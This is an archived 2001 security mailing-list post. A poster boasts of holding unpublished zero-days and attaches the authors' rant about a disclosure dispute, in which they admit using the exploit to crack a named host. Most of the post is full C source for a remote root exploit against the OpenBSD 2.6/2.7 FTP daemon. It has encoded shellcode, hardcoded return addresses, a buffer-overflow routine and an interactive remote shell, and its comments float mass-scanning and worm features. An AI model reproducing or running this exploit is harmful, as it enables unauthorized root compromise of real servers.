Re:Another sploit makes 2 in one day

From: security (securityat_private)
Date: Wed Jun 06 2001 - 21:10:33 PDT

  • Next message: Michal Zalewski: "Re: Another sploit makes 2 in one day"

    To make the discussion intresting....
    I have this exploit since december 2000.
    
    There are allot of zeroday exploits out there, that most of us don't know 
    about.
    The last time 1 counted them -a few months ago- there where over 50, allot 
    of them are still not public.
    
    I wouldn't trust any operating system at this moment, thinking that every 
    hole found is going to be publiced is very stupid, I see a movement 
    towards non-disclosure, for different reasons, some let big security 
    companies pay them for the bug they found, other get money from software 
    companies and other don't like the attention and just want to hack for 
    fun, and get their respect from fellow hackers, those people are knowing 
    what kind of exploits and bugs are out there.
    
    So don't believe the hype.
    
    gtx,
    h4f
    /*
       h0h0h0 0-day k0d3z
       Exploit by dvorak and Scrippie (tag team!) and jimjones (triple tag!)
    
       Pointed out by someone who wishes to remain anonymous, greets to sk8 :)
       =====================================================================
    
       Okay, my story starts here...
    
       Some time ago I got a notice from a friend of mine  that this problem
       existed in the OpenBSD current release. He wasn't able to write an exploit
       though. He in turn took notice of the problem from someone who will remain
       anonymous at the time of writing this.
    
       Dvorak and I took up writing this exploit some time ago, and succeeded in
       our attempt. Various people always pop up at the place I live at during
       week-days, including a small insignificant 17 year old kid called Kris
       Vlaardingenbroek (if any of you feel the need to flame him, he can be
       contacted at: krisat_private).
       He often plays around on my systems, and we have some conversation.
       He knew dvorak and I had been working on the OpenBSD thingy and asked
       about the specifics. I didn't think of this as a big deal since he was an
       employee of a security company I used to work at. Part of the machines at
       this company were running a vulnerable version of the ftp daemon (which is
       exploitable, as opposed to what is stated in the TESO article) and I had
       the courtesy to fix them in exchange for a verbal non-disclosure agreement.
       Since I trusted everyone present, I explained a bit on what we did and how.
    
       Obviously, what happened next is his posting to bugs@obsd, going against
       my statement that this was not to be disclosed. So far so good, another
       kid that wants to make a name by spotting the first open bsd remote root
       *possible* (since he can't code worth a dime, and he wouldn't be able to
       code it even if he grew to see his 120th birthday) exploit.
       Then again, with the OBSD default configuration they will state this is
       not a remote root compromise, since ftp is not enabled by default - but
       neither is telnetd or other stuff. I can keep my Linux machine safe for
       three years remotely by using the OpenBSD default inetd.conf file :)
       IMHO an operating system that is claimed to be this secure should dare to
       put all of their services wide open.
    
       I don't want to start out a debate on full/non disclosure right now -
       I'm quite sure that there are thousands of people out there who think
       this should have been published in the first place, but we were never
       planning to (yes, we're all filthy blackhats - I'm not the savior of
       humanity, and think it's ridiculous the coding and research I do for a
       hobby is going to be commercially exploited by security firms, one of the
       biggest disadvantages of full disclosure imho).
    
       My anger doesn't rise from the fact that this vulnerability is exposed,
       but the way in which this was done - without permission on our side, by
       someone who I sort of trusted (yes, I'm naive) and without any reference
       or credit to the researchers of the problem (and that's not one of us, 
       that is a person who whishes to remain anonymous, we only created an 
       exploit, as did others after and, very likely, also before us).
    
       Noticable is that his patch was not an elegant solution, and is not a
       solution at all on compilers which handle memory alignment in different
       ways. To check if an off by one error 'overflows' into other data, one can
       simply check if: overflow_buf_size mod memory_alignment == 0 evaluates to
       true. If it does, the one byte gets written into memory that contains
       anything besides padding.
       Thinking like this, subtracting 1 from the buffer size would also have
       worked and would have been more hilarious.
       The OpenBSD team has come up with a more decent solution, but they left
       some other dirty stuff in - why does the FTP daemon print out the stack as
       soon as getcwd() is going to return NULL? It's not supposed to.
    
       Right after this, Kris sent out a rectification e-mail simply stating that
       "I" was the one who discovered that bug, and that his disclosing e-mail
       got interpreted all wrong. In any case I never claimed I discovered the
       mentioned bug, only to have written a working exploit.
       To be honest, in the back of my mind I thought of this as a well 
       constructed scheme on his part to get even with me for "nasty things I
       said to him". Whatever my response in a situation like this, it would be
       all wrong. Were I to get angry with him and tell him he still didn't do
       the correct thing I would most likely be told I was unreasonable and
       overly agressive. Were I to let it all go, he could be laughing in his
       fist that he tricked me on this one hoping others might pick at me for
       this. At last, I chose not to repond at all anymore, hoping everything
       would silently pass and there never was going to be a release.
    
       After this entire scenario, I had could clearly see a release of another
       exploit coming up, after the entire K2 & Caddis local OpenBSD "hype" I
       was fairly sure they would be on the OpenBSD bugs mailing list and
       competent enough to write their own exploit. Hi Caddis, hi K2 :)
       And knowing it would only be a matter of time dvorak and I decided to
       crack generic.labs.pulltheplug.com using it. I was fairly sure 'dies'
       would have access to his router logs, and could make a pass at reverse
       engineering the exploit, but the problem had been disclosed already.
    
       Seems now TESO came up with a release (which I don't blame them for, since
       everyone reading up on bugs@obsd could have), which is reason enough for
       me to publish this entire motherload of ranting and code :)
    
       What shocks me is the way people do with your trust as soon as they smell
       a way to enlarge the size of their own ego/noticeability in this forlorn
       place in space.
    
       Well, I can only tell Cinder that the way to accomplish this is to respect
       the work and research of other people, and learn to write code by yourself
       instead of stealing it from others.
    
       The work for THIS exploit was done by the following people (not including
       Kris):
          - dvorak
          - Scrippie
          - jimjones
          - anonymous person whose discovery this all was.
    
       I claim NO credit for the discovery of this bug, and wish good luck to the
       one who did and will remain anonymous.
    
       Shouts go out to: everyone who wishes to be included
       Deathwishes to: Cinder (even Gerrie is more el8 than you are!)
       Fuck to pedantic bastards at: #koffie - Patrick Oink Oink Oink!
    
       Love to: Maja, Hester, Renate
    
       -- Scrippie/ronaldat_private
    
       Ps. I'm sorry if there are other people who would have liked to gotten
           some of their comment in here, but I wanted this to get out ASAP.
    */
    
    /*
       This source code is proprietary material. Commercial use, distribution,
       modification or use of any part of this source code in any form is
       strictly prohibited.
       Non-commercial use, modification and distribution is allowed, as long
       as any modification is made known to the author.
    
    
       Not fully developed exploit but it works most of the time ;)
    
       Things to add:
          - automatic writeable directory finding
          - syn-scan option to do mass-scanning
          - worm capabilities? (should be done seperatly using the -C option
    
       11/13/2000
    */
    
    #include <stdio.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <unistd.h>
    #include <limits.h>
    
    void usage(char *program);
    char *strcreat(char *, char *, int);
    char *longToChar(unsigned long);
    char *xrealloc(void *, size_t);
    void xfree(char **ptr);
    char *xmalloc(size_t);
    int xconnect(char *host, u_short port);
    void xsend(int fd, char *buf);
    void xsendftpcmd(int fd, char *command, char *param);
    void xrecieveall(int fd, char *buf, int size);
    void xrecieve(int fd, char *buf, int size);
    void ftp_login(int fd, char *user, char *password);
    void exploit(int fd);
    
    int verbose = 0;
    
    
    /*
       Written by dvorak, garbled up by "Smegma" with a word xor 0xaabb mask
       to get rid of dots and slashes.
    */
    
    char heavenlycode[] =
    "\x31\xc0\x89\xc1\x80\xc1\x02\x51\x50\x04\x5a\x50\xcd\x80"
    "\xeb\x10\x5e\x31\xc9\xb1\x4a\x66\x81\x36\xbb\xaa\x46\x46\xe2\xf7\xeb\x05\xe8"
    "\xeb\xff\xff\xff\xff\xff\xff\x50\xcf\xe5\x9b\x7b\xfa\xbf\xbd\xeb\x67\x3b\xfc"
    "\x8a\x6a\x33\xec\xba\xae\x33\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\xb5\x36\xf4\xa5"
    "\xf9\xbf\xaf\xeb\x67\x3b\x23\x7a\xfc\x8a\x6a\xbf\x97\xeb\x67\x3b\xfb\x8a\x6a"
    "\xbf\xa4\xf3\xfa\x76\x2a\x36\xf4\xb9\xf9\x8a\x6a\xbf\xa6\xeb\x67\x3b\x27\xe5"
    "\xb4\xe8\x9b\x7b\xae\x86\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\x8d\x36\xf4\x93\xf9"
    "\x36\xf4\x9b\x23\xe5\x82\x32\xec\x97\xf9\xbf\x91\xeb\x67\x3b\x42\x2d\x55\x44"
    "\x55\xfa\xeb\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84"
    "\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\xeb\x94\xc8\xd2\xc4\x94"
    "\xd9\xd3";
    
    char user[255] = "anonymous";
    char pass[255] = "anonymousat_private";
    char write_dir[PATH_MAX] = "/";
    int ftpport = 21;
    unsigned long int ret_addr = 0;
    #define CMD_LOCAL 0
    #define CMD_REMOTE 1
    int command_type = -1;
    char *command = NULL;
    
    struct typeT {
            char *name;
            unsigned long int ret_addr;
    };
    
    #define NUM_TYPES 2
    struct typeT types[NUM_TYPES] = {
            "OpenBSD 2.6", 0xdfbfd0ac,
            "OpenBSD 2.7", 0xdfbfd0ac};
    
    void
    usage(char *program)
    {
            int i;
            fprintf(stderr,
                    "\nUsage: %s [-h host] [-f port] [-u user] [-p pass] [-d direct
    ory] [-t type]\n\t\t[-r retaddr] [-c command]
    [-C command]\n\n"
                    "Directory should be an absolute path, writable by the user.\n"
                    "The argument of -c will be executed on the remote host\n"
                    "while the argument of -C will be executed on the local\n"
                    "with its filedescriptors connected to the remote host\n"
                    "Valid types:\n",
                    program);
            for (i = 0; i < NUM_TYPES; i++) {
                    printf("%d : %s\n", i,  types[i].name);
            }
            exit(-1);
    }
    
    
    main(int argc, char **argv)
    {
            unsigned int i;
            int opt, fd;
            unsigned int type = 0;
            char *hostname = "localhost";
    
            if (argc < 2)
                    usage(argv[0]);
    
            while ((opt = getopt(argc, argv, "h:r:u:f:d:t:vp:c:C:")) != -1) {
                    switch (opt) {
                    case 'h':
                            hostname = optarg;
                            break;
                    case 'C':
                            command = optarg;
                            command_type = CMD_LOCAL;
                            break;
                    case 'c':
                            command = optarg;
                            command_type = CMD_REMOTE;
                            break;
                    case 'r':
                            ret_addr = strtoul(optarg, NULL, 0);
                            break;
                    case 'v':
                            verbose++;
                            break;
                    case 'f':
                            if (!(ftpport = atoi(optarg))) {
                                    fprintf(stderr, "Invalid destination port - %s\
    n", optarg);
                                    exit(-1);
                            }
                            exit(-1);
                            break;
                    case 'u':
                            strncpy(user, optarg, sizeof(user) - 1);
                            user[sizeof(user) - 1] = 0x00;
                            break;
                    case 'p':
                            strncpy(pass, optarg, sizeof(pass) - 1);
                            pass[sizeof(pass) - 1] = 0x00;
                            break;
                    case 'd':
                            strncpy(write_dir, optarg, sizeof(write_dir) - 1);
                            write_dir[sizeof(write_dir) - 1] = 0x00;
                            if ((write_dir[0] != '/'))
                                    usage(argv[0]);
                            if ((write_dir[strlen(write_dir) - 1] != '/'))
                                    strncat(write_dir, "/", sizeof(write_dir) - 1);
                            break;
                    case 't':
                            type = atoi(optarg);
                            if (type > NUM_TYPES)
                                    usage(argv[0]);
                            break;
                    default:
                            usage(argv[0]);
                    }
            }
    
            if (ret_addr == 0)
                    ret_addr = types[type].ret_addr;
            if ((fd = xconnect(hostname, ftpport)) == -1)
                    exit(-1);
            else
                    printf("Connected to remote host! Sending evil codes.\n");
    
    
            ftp_login(fd, user, pass);
            exploit(fd);
    
    
    }
    
    int
    ftp_cmd_err(int fd, char *command, char *param, char *res, int size, char * msg
    )
    {
            xsendftpcmd(fd, command, param);
            xrecieveall(fd, res, size);
    
            if (res == NULL)
                    return 0;
            if (verbose)
                    printf("%s\n", res);
            if (msg && (res[0] != '2')) {
                    fprintf(stderr, "%s\n", msg);
                    exit(-1);
            }
            return (res[0] != '2');
    }
    
    void shell(int fd)
    {
            fd_set readfds;
            char buf[1];
            char *tst = "echo ; echo ; echo HAVE FUN ; id ; uname -a\n";
    
            write(fd, tst, strlen(tst));
            while (1) {
                    FD_ZERO(&readfds);
                    FD_SET(0, &readfds);
                    FD_SET(fd, &readfds);
                    select(fd + 1, &readfds, NULL, NULL, NULL);
                    if (FD_ISSET(0, &readfds)) {
                            if (read(0, buf, 1) != 1) {
                                    perror("read");
                                    exit(1);
                            }
                            write(fd, buf, 1);
                    }
                    if (FD_ISSET(fd, &readfds)) {
                            if (read(fd, buf, 1) != 1) {
                                    perror("read");
                                    exit(1);
                            }
                            write(1, buf, 1);
                    }
            }
    }
    
    void do_command(int fd)
    {
            char buffer[1024];
            int len;
    
            if (command_type == CMD_LOCAL) {
                    dup2(fd, 0);
                    dup2(fd, 1);
                    dup2(fd, 2);
                    execl(command, command, NULL);
                    exit (2);
            }
            write(fd, command, strlen(command));
            write(fd, "\n", 1);
            while ((len = read(fd, buffer, sizeof(buffer))) > 0) {
                    write(1, buffer, len);
            }
            exit (0);
    }
    
    int exploit_ok(int fd)
    {
            char result[1024];
            xsend(fd, "id\n");
    
            xrecieve(fd, result, sizeof(result));
            return (strstr(result, "uid=") != NULL);
    }
    
    void exploit(int fd)
    {
            char res[1024];
            int heavenlycode_s;
            char *dir = NULL;
    
            ftp_cmd_err(fd, "CWD", write_dir, res, 1024, "Can't CWD to write_dir");
    
            dir = strcreat(dir, "A", 255 - strlen(write_dir));
            ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
            ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
            xfree(&dir);
    
            /* next on = 256 */
    
            dir = strcreat(dir, "A", 255);
            ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
            ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
            xfree(&dir);
            /* next on = 512 */
    
            heavenlycode_s = strlen(heavenlycode);
            dir = strcreat(dir, "A", 254 - heavenlycode_s);
            dir = strcreat(dir, heavenlycode, 1);
            ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
            ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
            xfree(&dir);
            /* next on = 768 */
    
            dir = strcreat(dir, longToChar(ret_addr), 252 / 4);
            ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
            ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
            xfree(&dir);
            /* length = 1020 */
    
            /* 1022 moet " zijn */
            dir = strcreat(dir, "AAA\"", 1);
            ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
            ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
            xfree(&dir);
    
            /* and tell it to blow up */
            ftp_cmd_err(fd, "PWD", NULL, res, 1024, NULL);
    
            if (!exploit_ok(fd)) {
                    if (command != NULL) {
                            exit (2);
                    }
                    fprintf(stderr, "Exploit failed\n");
                    exit (1);
            }
            if (command == NULL)
                    shell(fd);
            else
                    do_command(fd);
    }
    
    
    char *
    strcreat(char *dest, char *pattern, int repeat)
    {
            char *ret;
            size_t plen, dlen = 0;
            int i;
    
            if (dest)
                    dlen = strlen(dest);
            plen = strlen(pattern);
    
            ret = (char *) xrealloc(dest, dlen + repeat * plen + 1);
    
            if (!dest)
                    ret[0] = 0x00;
    
            for (i = 0; i < repeat; i++) {
                    strcat(ret, pattern);
            }
            return (ret);
    }
    
    char *
    longToChar(unsigned long blaat)
    {
            char *ret;
    
            ret = (char *) xmalloc(sizeof(long) + 1);
            memcpy(ret, &blaat, sizeof(long));
            ret[sizeof(long)] = 0x00;
    
            return (ret);
    }
    
    char *
    xrealloc(void *ptr, size_t size)
    {
            char *wittgenstein_was_a_drunken_swine;
    
            if (!(wittgenstein_was_a_drunken_swine = (char *) realloc(ptr, size)))
    {
                    fprintf(stderr, "Cannot calculate universe\n");
                    exit(-1);
            }
            return (wittgenstein_was_a_drunken_swine);
    }
    
    void
    xfree(char **ptr)
    {
            if (!ptr || !*ptr)
                    return;
            free(*ptr);
            *ptr = NULL;
    }
    
    char *
    xmalloc(size_t size)
    {
            char *heidegger_was_a_boozy_beggar;
    
            if (!(heidegger_was_a_boozy_beggar = (char *) malloc(size))) {
                    fprintf(stderr, "Out of cheese error\n");
                    exit(-1);
            }
            return (heidegger_was_a_boozy_beggar);
    }
    
    
    int
    xconnect(char *host, u_short port)
    {
            struct hostent *he;
            struct sockaddr_in s_in;
            int fd;
    
            if ((he = gethostbyname(host)) == NULL) {
                    perror("gethostbyname");
                    return (-1);
            }
            memset(&s_in, 0, sizeof(s_in));
            s_in.sin_family = AF_INET;
            s_in.sin_port = htons(port);
            memcpy(&s_in.sin_addr.s_addr, he->h_addr, he->h_length);
    
            if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
                    perror("socket");
                    return (-1);
            }
            if (connect(fd, (const struct sockaddr *) & s_in, sizeof(s_in)) == -1)
    {
                    perror("connect");
                    return (-1);
            }
            return fd;
    }
    
    /* returns status from ftpd */
    void
    ftp_login(int fd, char *user, char *password)
    {
            char reply[512];
            int rep;
            xrecieveall(fd, reply, sizeof(reply));
            if (verbose) {
                    printf("Logging in ..\n");
                    printf("%s\n", reply);
            }
            xsendftpcmd(fd, "USER", user);
            xrecieveall(fd, reply, sizeof(reply));
            if (verbose)
                    printf("%s\n", reply);
            xsendftpcmd(fd, "PASS", password);
            xrecieveall(fd, reply, sizeof(reply));
            if (verbose)
                    printf("%s\n", reply);
    
            if (reply[0] != '2') {
                    printf("Login failed.\n");
                    exit(-1);
            }
    }
    
    void
    xsendftpcmd(int fd, char *command, char *param)
    {
            xsend(fd, command);
    
            if (param != NULL) {
                    xsend(fd, " ");
                    xsend(fd, param);
            }
            xsend(fd, "\r\n");
    }
    
    
    void
    xsend(int fd, char *buf)
    {
    
            if (send(fd, buf, strlen(buf), 0) != strlen(buf)) {
                    perror("send");
                    exit(-1);
            }
    }
    
    void
    xrecieveall(int fd, char *buf, int size)
    {
            char scratch[6];
    
            if (buf == NULL || size == 0) {
                    buf = scratch;
                    size = sizeof(scratch);
            }
            memset(buf, 0, size);
            do {
                    xrecieve(fd, buf, size);
            } while (buf[3] == '-');
    }
    /* recieves a line from the ftpd */
    void
    xrecieve(int fd, char *buf, int size)
    {
            char *end;
            char ch;
    
            end = buf + size;
    
            while (buf < end) {
                    if (read(fd, buf, 1) != 1) {
                            perror("read"); /* XXX */
                            exit(-1);
                    }
                    if (buf[0] == '\n') {
                            buf[0] = '\0';
                            return;
                    }
                    if (buf[0] != '\r') {
                            buf++;
                    }
            }
            buf--;
            while (read(fd, buf, 1) == 1) {
                    if (buf[0] == '\n') {
                            buf[0] = '\0';
                            return;
                    }
            }
            perror("read");         /* XXX */
            exit(-1);
    }
    



    This archive was generated by hypermail 2b30 : Wed Jun 06 2001 - 22:04:25 PDT